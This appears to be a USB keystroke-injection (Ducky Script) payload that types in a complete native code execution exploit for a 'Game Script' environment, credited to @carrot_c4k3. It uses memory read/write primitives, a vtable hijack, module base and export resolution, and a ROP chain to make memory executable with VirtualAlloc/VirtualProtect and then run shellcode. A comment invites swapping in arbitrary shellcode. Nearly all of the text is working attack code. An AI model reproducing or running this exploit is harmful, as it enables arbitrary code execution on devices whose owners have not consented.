DELAY 1000
STRING //Quack Quack
ENTER
STRING // native code exec PoC via Game Script - @carrot_c4k3 (exploits.forsale)
ENTER
STRING //
ENTER
STRING // sample shellcode: mov rax, 0x1337; ret;
ENTER
STRING // drop your own shellcode inplace here
ENTER
STRING let shellcode = [0x48,0xC7,0xC0,0x37,0x13,0x00,0x00,0xC3]
ENTER
STRING // hex printing helper functions
ENTER
STRING let i2c_map = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B',
'C', 'D', 'E', 'F']
ENTER
STRING let c2i_map = {'0': 0, '1': 1, '2': 2, '3': 3, '4': 4, '5': 5, '6': 6, '7':
7, '8': 8, '9': 9, 'A': 0xA, 'B': 0xB, 'C': 0xC, 'D': 0xD, 'E': 0xE, 'F': 0xF}
ENTER
STRING fn hex_to_num(s) {
ENTER
STRING var str_len = len(s)
ENTER
STRING var res = 0
ENTER
STRING for (var i = 0; i < str_len; i++)
ENTER
STRING {
ENTER
STRING res = res << 4
ENTER
STRING res = res + c2i_map[s[i]]
ENTER
STRING }
ENTER
STRING return res
ENTER
STRING }
ENTER
STRING fn num_to_hex(num, byte_count) {
ENTER
STRING if (byte_count > 8) {
ENTER
STRING byte_count = 8
ENTER
STRING }
ENTER
STRING var res = ""
ENTER
STRING for (var i = 0; i < byte_count * 2; i++) {
ENTER
STRING var idx = (num >> (4 * i)) & 15
ENTER
STRING res = i2c_map[idx] + res
ENTER
STRING }
ENTER
STRING return res
ENTER
STRING }
ENTER
STRING fn num_to_hex8(num) {
ENTER
STRING return num_to_hex(num, 1)
ENTER
STRING }
ENTER
STRING fn num_to_hex16(num) {
ENTER
STRING return num_to_hex(num, 2)
ENTER
STRING }
ENTER
STRING fn num_to_hex32(num) {
ENTER
STRING return num_to_hex(num, 4)
ENTER
STRING }
ENTER
STRING fn num_to_hex64(num) {
ENTER
STRING return num_to_hex(num, 8)
ENTER
STRING }
ENTER
STRING fn hex_dump(addr, count) {
ENTER
STRING for (var i = 0; i < count; i++) {
ENTER
STRING if (i > 0 && (i % 16) == 0) {
ENTER
STRING printConsole("\n")
ENTER
STRING }
ENTER
STRING var cur_byte = pointerGetUnsignedInteger8Bit(0, addr + i)
ENTER
STRING printConsole(num_to_hex8(cur_byte) + " ")
ENTER
STRING }
ENTER
STRING }
ENTER
STRING fn array_fill(arr) {
ENTER
STRING var arr_len = len(arr)
ENTER
STRING for (var i = 0; i < arr_len; i++) {
ENTER
STRING arr[i] = 0x41
ENTER
STRING }
ENTER
STRING }
ENTER
STRING fn round_down(val, bound) {
ENTER
STRING return floor(val - (val % bound))
ENTER
STRING }
ENTER
STRING fn array_compare(a1, a2) {
ENTER
STRING if (len(a1) != len(a2)) {
ENTER
STRING return false
ENTER
STRING }
ENTER
STRING var arr_len = len(a1)
ENTER
STRING for (var i = 0; i < arr_len; i++) {
ENTER
STRING if (a1[i] != a2[i]) {
ENTER
STRING return false
ENTER
STRING }
ENTER
STRING }
ENTER
STRING return true
ENTER
STRING }
ENTER
STRING // shorthand helpers for memory access
ENTER
STRING fn write8(addr, val) {
ENTER
STRING pointerSetUnsignedInteger8Bit(0, addr, val)
ENTER
STRING }
ENTER
STRING fn read8(addr) {
ENTER
STRING return pointerGetUnsignedInteger8Bit(0, addr)
ENTER
STRING }
ENTER
STRING fn write16(addr, val) {
ENTER
STRING pointerSetAtOffsetUnsignedInteger16Bit(0, addr, val)
ENTER
STRING }
ENTER
STRING fn read16(addr) {
ENTER
STRING return pointerGetAtOffsetUnsignedInteger16Bit(0, addr)
ENTER
STRING }
ENTER
STRING fn write32(addr, val) {
ENTER
STRING pointerSetAtOffsetUnsignedInteger(0, addr, val)
ENTER
STRING }
ENTER
STRING fn read32(addr) {
ENTER
STRING return pointerGetAtOffsetUnsignedInteger(0, addr)
ENTER
STRING }
ENTER
STRING fn write64(addr, val) {
ENTER
STRING pointerSetAtOffsetUnsignedInteger64Bit(0, addr, val)
ENTER
STRING }
ENTER
STRING fn read64(addr) {
ENTER
STRING return pointerGetAtOffsetUnsignedInteger64Bit(0, addr)
ENTER
STRING }
ENTER
STRING fn read_buf(addr, buf) {
ENTER
STRING var buf_len = len(buf)
ENTER
STRING for (var i = 0; i < buf_len; i++) {
ENTER
STRING buf[i] = read8(addr + i)
ENTER
STRING }
ENTER
STRING }
ENTER
STRING fn write_buf(addr, buf) {
ENTER
STRING var buf_len = len(buf)
ENTER
STRING for (var i = 0; i < buf_len; i++) {
ENTER
STRING write8(addr+i, buf[i])
ENTER
STRING }
ENTER
STRING }
ENTER
STRING fn find_bytes(addr, max_len, pattern, buf) {
ENTER
STRING for (var i = 0; i < max_len; i++) {
ENTER
STRING read_buf(addr + i, buf)
ENTER
STRING if (array_compare(pattern, buf)) {
ENTER
STRING return addr + i
ENTER
STRING }
ENTER
STRING }
ENTER
STRING return 0
ENTER
STRING }
ENTER
STRING fn find64(addr, max_len, v) {
ENTER
STRING var offset = 0
ENTER
STRING while (1) {
ENTER
STRING var temp_val = read64(addr+offset)
ENTER
STRING if (temp_val == v) {
ENTER
STRING return addr+offset
ENTER
STRING }
ENTER
STRING offset += 8
ENTER
STRING }
ENTER
STRING return 0
ENTER
STRING }
ENTER
STRING // shorthand funcs
ENTER
STRING fn ptr_to_num(p) {
ENTER
STRING return numberFromRaw64BitUnsignedInteger(p)
ENTER
STRING }
ENTER
STRING var gs_base = 0
ENTER
STRING var ntdll_base = 0
ENTER
STRING var kernelbase_base = 0
ENTER
STRING var longjmp_ptr = 0
ENTER
STRING var setjmp_ptr = 0
ENTER
STRING var gadget_ptr = 0
ENTER
STRING fn call_native(func_ptr, rcx, rdx, r8, r9) {
ENTER
STRING // allocate our objects
ENTER
STRING var obj_ptr = globalArrayNew8Bit("call", 0x100)
ENTER
STRING var objp = ptr_to_num(obj_ptr)
ENTER
STRING var vt_ptr = globalArrayNew8Bit("vtable", 0x18)
ENTER
STRING var vtp = ptr_to_num(vt_ptr)
ENTER
STRING var stack_size = 0x4000
ENTER
STRING var stack_ptr = globalArrayNew8Bit("stack", stack_size)
ENTER
STRING var stackp = ptr_to_num(stack_ptr)
ENTER
STRING var jmpctx_ptr = globalArrayNew8Bit("jctx", 0x100)
ENTER
STRING var jcp = ptr_to_num(jmpctx_ptr)
ENTER
STRING // set up vtable pointers
ENTER
STRING write64(vtp+8, setjmp_ptr)
ENTER
STRING write64(objp, vtp)
ENTER
STRING // trigger vtable call
ENTER
STRING slBus_destroy(obj_ptr)
ENTER
STRING memcpy(jmpctx_ptr, 0, obj_ptr, 0, 0x100)
ENTER
STRING // set up our rop chain
ENTER
STRING write64(stackp+stack_size-0xA0, rdx)
ENTER
STRING write64(stackp+stack_size-0x98, rcx)
ENTER
STRING write64(stackp+stack_size-0x90, r8)
ENTER
STRING write64(stackp+stack_size-0x88, r9)
ENTER
STRING write64(stackp+stack_size-0x80, 0)
ENTER
STRING write64(stackp+stack_size-0x78, 0)
ENTER
STRING write64(stackp+stack_size-0x70, func_ptr)
ENTER
STRING write64(stackp+stack_size-0x68, gs_base+0x1F13A)
ENTER
STRING write64(stackp+stack_size-0x38, 0x15151515)
ENTER
STRING write64(stackp+stack_size-0x30, gs_base+0x109C4A)
ENTER
STRING write64(stackp+stack_size-0x28, jcp)
ENTER
STRING write64(stackp+stack_size-0x20, longjmp_ptr);
ENTER
STRING // set up the vtable and setjmp context
ENTER
STRING write64(vtp+8, longjmp_ptr)
ENTER
STRING write64(objp, vtp)
ENTER
STRING write64(objp+0x10, stackp+stack_size-0xA0)
ENTER
STRING write64(objp+0x50, gadget_ptr)
ENTER
STRING // trigger vtable call
ENTER
STRING slBus_destroy(obj_ptr)
ENTER
STRING var ret_val = read64(stackp+stack_size-0x68)
ENTER
STRING // clean up our objects
ENTER
STRING globalArrayDelete("call")
ENTER
STRING globalArrayDelete("vtable")
ENTER
STRING globalArrayDelete("stack")
ENTER
STRING globalArrayDelete("jctx")
ENTER
STRING return ret_val
ENTER
STRING }
ENTER
STRING fn find_module_base(addr) {
ENTER
STRING var search_addr = round_down(addr, 0x10000)
ENTER
STRING while (1) {
ENTER
STRING var magic_static = [0x4D, 0x5A]
ENTER
STRING var magic_read = [0, 0]
ENTER
STRING read_buf(search_addr, magic_read)
ENTER
STRING if (array_compare(magic_static, magic_read)) {
ENTER
STRING return search_addr
ENTER
STRING }
ENTER
STRING search_addr -= 0x10000
ENTER
STRING }
ENTER
STRING return 0
ENTER
STRING }
ENTER
STRING fn get_dll_exports(base_addr) {
ENTER
STRING var res = {}
ENTER
STRING var magic_static = [0x4D, 0x5A]
ENTER
STRING var magic_read = [0, 0]
ENTER
STRING read_buf(base_addr, magic_read)
ENTER
STRING if (!array_compare(magic_static, magic_read)) {
ENTER
STRING printConsole("Magic is invalid!\n")
ENTER
STRING return res
ENTER
STRING }
ENTER
STRING var e_lfanew = read32(base_addr+0x3c)
ENTER
STRING var exports_addr = base_addr + read32(base_addr+e_lfanew+0x70+0x18)
ENTER
STRING var num_funcs = read32(exports_addr+0x14)
ENTER
STRING var num_names = read32(exports_addr+0x18)
ENTER
STRING var funcs_addr = base_addr + read32(exports_addr+0x1c)
ENTER
STRING var names_addr = base_addr + read32(exports_addr+0x20)
ENTER
STRING var ords_addr = base_addr + read32(exports_addr+0x24)
ENTER
STRING for (var i = 0; i < num_names; i++) {
ENTER
STRING var name_addr = base_addr + read32(names_addr + (4 * i))
ENTER
STRING var name_str = pointerGetSubstring(0, name_addr, 0x20)
ENTER
STRING var ordinal = read16(ords_addr + (2 * i))
ENTER
STRING var func_addr = base_addr + read32(funcs_addr + (4 * ordinal))
ENTER
STRING res[name_str] = func_addr
ENTER
STRING }
ENTER
STRING return res
ENTER
STRING }
ENTER
STRING var VirtualAlloc_ptr = 0
ENTER
STRING var VirtualProtect_ptr = 0
ENTER
STRING fn map_code(code) {
ENTER
STRING var code_addr = call_native(VirtualAlloc_ptr, 0, 0x100000, 0x3000, 4)
ENTER
STRING write_buf(code_addr, code)
ENTER
STRING var oldp_ptr = globalArrayNew8Bit("oldp", 0x100)
ENTER
STRING var oldpp = ptr_to_num(oldp_ptr)
ENTER
STRING call_native(VirtualProtect_ptr, code_addr, 0x100000, 0x20, oldpp)
ENTER
STRING return code_addr
ENTER
STRING }
ENTER
STRING // create and dump our object to the terminal
ENTER
STRING var slbus_ptr = slBus_create()
ENTER
STRING var slp = numberFromRaw64BitUnsignedInteger(slbus_ptr)
ENTER
STRING // get the base of the GameScript module via the vtable
ENTER
STRING gs_base = read64(slp) - 0x16faf8
ENTER
STRING // find base addresses of ntdll and kernelbase
ENTER
STRING ntdll_base = find_module_base(read64(gs_base + 0x125398))
ENTER
STRING kernelbase_base = find_module_base(read64(gs_base + 0x1253A0))
ENTER
STRING // find longjmp and setjmp for call_native
ENTER
STRING var setjmp_bytes =
[0x48,0x89,0x11,0x48,0x89,0x59,0x08,0x48,0x89,0x69,0x18,0x48,0x89,0x71,0x20,0x48]
ENTER
STRING var longjmp_bytes =
[0x48,0x8B,0xC2,0x48,0x8B,0x59,0x08,0x48,0x8B,0x71,0x20,0x48,0x8B,0x79,0x28,0x4C]
ENTER
STRING var tmp_bytes = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]
ENTER
STRING setjmp_ptr = find_bytes(ntdll_base, 0x217000, setjmp_bytes, tmp_bytes)
ENTER
STRING longjmp_ptr = find_bytes(ntdll_base, 0x217000, longjmp_bytes, tmp_bytes)
ENTER
STRING // find one of our gadgets in ntdll
ENTER
STRING var gadget_bytes = [0x5A,0x59,0x41,0x58,0x41,0x59,0x41,0x5A,0x41,0x5B,0xC3]
ENTER
STRING tmp_bytes = [0,0,0,0,0,0,0,0,0,0,0]
ENTER
STRING gadget_ptr = find_bytes(ntdll_base, 0x217000, gadget_bytes, tmp_bytes)
ENTER
STRING // get the ntdll & kernel base exports and find VirtualAlloc/Protect
ENTER
STRING var kernelbase_exports = get_dll_exports(kernelbase_base)
ENTER
STRING var ntdll_exports = get_dll_exports(ntdll_base)
ENTER
STRING VirtualAlloc_ptr = kernelbase_exports["VirtualAlloc"]
ENTER
STRING VirtualProtect_ptr = kernelbase_exports["VirtualProtect"]
ENTER
STRING // map our shellcode
ENTER
STRING var shellcode_addr = map_code(shellcode)
ENTER
STRING var shellcode_ret = call_native(shellcode_addr, 0, 0, 0, 0)
ENTER
STRING printConsole("Shellcode return value: " + num_to_hex64(shellcode_ret) + "\
n")
ENTER